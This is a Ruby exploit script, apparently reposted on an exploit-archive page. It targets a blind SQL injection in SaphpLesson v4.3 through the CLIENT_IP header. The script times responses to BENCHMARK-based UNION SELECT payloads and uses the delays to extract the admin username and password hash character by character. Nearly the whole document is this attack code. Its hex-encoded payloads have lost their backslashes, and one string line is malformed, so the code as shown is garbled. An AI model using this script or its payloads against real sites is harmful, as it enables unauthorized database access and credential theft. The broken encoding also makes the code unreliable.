Home / os / win10

saphplession43-sql.txt

Posted on 17 September 2009

#!/usr/bin/ruby

#=============================================#
#          SaphpLesson v4.3 Exploit           #
#     Blind SQL Injection Vulnerability       #
#---------------------------------------------#
# Date: 21-08-2009                            #
# Discovered & written by: Jafer Al Zidjali   #
# Email: jafer[at]scorpionds.com              #
# Website: www.scorpionds.com                 #
#---------------------------------------------#
# Notes:                                      #
#       1. Author has been notified           #
#       2. A public patch has been released   #
#=============================================#


require "net/http"
require "base64"

intro=[
"+=============================================+",
"+          SaphpLesson v4.3 Exploit           +",
"+     Blind SQL Injection Vulnerability       +",
"+  Discovered & written by: Jafer Al Zidjali  +",
"+        Email: jafer[at]scorpionds.com       +",
"+         Website: www.scorpionds.com         +",
"+=============================================+"
]

def print_intro text
w="|"
text.each do |str|
str.scan(/./) do |c|
STDOUT.flush
if w=="|"
print ""+c +w
w="/"
elsif w=="/"
print ""+c +w
w="-"
elsif w=="-"
print ""+c +w
w="\"
else
print ""+c +w
w="|"
end
sleep 0.04
end
print " "
puts ""
end
end

print_intro intro

puts "
Enter host name (e.g. example.com):"
host=gets.chomp

puts "
Enter script path (e.g. /saphplesson/):"
path=gets.chomp


puts "
Getting average response time..."

avgTime=Array.new(5)

5.times do |c|
s=Time.now
http = Net::HTTP.new(host, 80)
resp= http.get(path)
w=resp.body
avgTime[c]=Time.now-s
puts avgTime[c]
end

sum=0
5.times {|c| sum+=avgTime[c]}
avg=sum/5.0
puts "Average response time is: #{avg*3.0}"

puts "
Testing delayed response time..."
delTime=Array.new(5)

5.times do |t|
delay=1000000*((t+1)*10)
header={
"CLIENT_IP" =>  "x27x20x55x4ex49x4fx4ex20x53x45x4cx45x43x54"+
"x20x49x46x28x31x3dx31x2cx42x45x4ex43x48x4d"+
"x41x52x4bx28#{delay}x2cx63x68x61x72x28x63x68"+
"x61x72x28x32x29x29x29x2cx33x34x33x34x29x20x23x20"
}
s=Time.now
http = Net::HTTP.new(host, 80)
resp= http.get(path,header)
w=resp.body
s=Time.now-s
delTime[t]=delay
puts "["+(t+1).to_s+"] #{s}"
end

puts "
Choose a delyed response time (it should be > average response time):"
sel=gets.chomp

print "
Getting username length"
ulen=0

20.times do |z|
header={
"CLIENT_IP" =>  "x27x20x55x4ex49x4fx4ex20x53x45x4cx45x43x54"+
"x20x49x46x28x6cx65x6ex67x74x68x28x28x73x65x6cx65x63x74"+
"x20x4dx6fx64x4ex61x6dx65x20x66x72x6fx6dx20x6dx6fx64x72"+
"x65x74x6fx72x20x77x68x65x72x65x20x4dx6fx64x49x44x3dx31"+
"x29x29x3d#{z+1}x2cx42x45x4ex43x48x4dx41x52x4bx28#{delTime[(sel.to_i)-1]}"+
"x2cx63x68x61x72x28x63x68x61x72x28x32x29x29x29x2cx33x34x33x34x29x20x23x20"
}
s=Time.now
http = Net::HTTP.new(host, 80)
resp= http.get(path,header)
w=resp.body
s=Time.now-s
print "."
if (s>(avg*3.0))
ulen=z+1
break;
end
STDOUT.flush
end

puts "

Username length: "+ ulen.to_s

puts "

Username: "
chars="abcdefghijklmnopqrstuvwxyz0123456789"

ulen.times do |z|
chars.scan(/./) do |c|
header={
"CLIENT_IP" => "x27x20x55x4ex49x4fx4ex20x53x45x4cx45x43"+
"x54x20x49x46x28x73x75x62x73x74x72x69x6ex67x28x28x73"+
"x65x6cx65x63x74x20x4dx6fx64x4ex61x6dx65x20x66x72x6f"+
"x6dx20x6dx6fx64x72x65x74x6fx72x20x77x68x65x72x65x20"+
"x4dx6fx64x49x44x3dx31x29x2c#{z+1}x2cx31x29x3dx27#{c}x27"+
"x2cx42x45x4ex43x48x4dx41x52x4bx28#{delTime[(sel.to_i)-1]}"+
"x2cx63x68x61x72x28x63x68x61x72x28x32x29x29x29x2cx33"+
"x34x33x34x29x20x23x20"
}
s=Time.now
http = Net::HTTP.new(host, 80)
resp= http.get(path,header)
w=resp.body
s=Time.now-s
print c
if (s>(avg*3.0))
break;
end
print ""
STDOUT.flush
end
end

puts "

Password hash: "
chars="0123456789abcdef"

32.times do |z|
chars.scan(/./) do |c|
header={
"CLIENT_IP" => "x27x20x55x4ex49x4fx4ex20x53x45x4cx45x43x54"+
"x20x49x46x28x73x75x62x73x74x72x69x6ex67x28x28x73x65x6c"+
"x65x63x74x20x4dx6fx64x50x61x73x73x77x6fx72x64x20x66x72"+
"x6fx6dx20x6dx6fx64x72x65x74x6fx72x20x77x68x65x72x65x20"+
"x4dx6fx64x49x44x3dx31x29x2c#{z+1}x2cx31x29x3dx27#{c}x27x2c"+
"x42x45x4ex43x48x4dx41x52x4bx28#{delTime[(sel.to_i)-1]}"+
"x2cx63x68x61x72x28x63x68x61x72x28x32x29x29x29x2cx33x34"+
"x33x34x29x20x23x20"
}
s=Time.now
http = Net::HTTP.new(host, 80)
resp= http.get(path,header)
w=resp.body
s=Time.now-s
print c
if (s>(avg*3.0))
break;
end
print ""
STDOUT.flush
end
end

 

TOP